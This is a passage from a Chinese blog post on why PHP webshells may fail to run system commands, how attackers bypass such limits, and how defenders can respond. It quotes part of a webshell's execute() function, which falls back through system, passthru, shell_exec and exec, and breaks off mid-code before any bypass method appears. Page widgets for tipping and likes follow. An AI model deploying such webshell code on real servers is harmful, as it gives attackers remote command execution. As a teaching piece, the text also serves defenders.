[投稿]Webshell下命令执行限制及绕过方法

0x00 前言

上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.

0x01 php webshell执行命令原理

php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下

搜索关键字定位到以下代码

function execute($cfe) {

       $res = '';

       if ($cfe) {

              if(function_exists('system')) {

                     @ob_start();

                     @system($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('passthru')) {

                     @ob_start();

                     @passthru($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('shell_exec')) {

                     $res = @shell_exec($cfe);

              } elseif(function_exists('exec')) {

             
  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值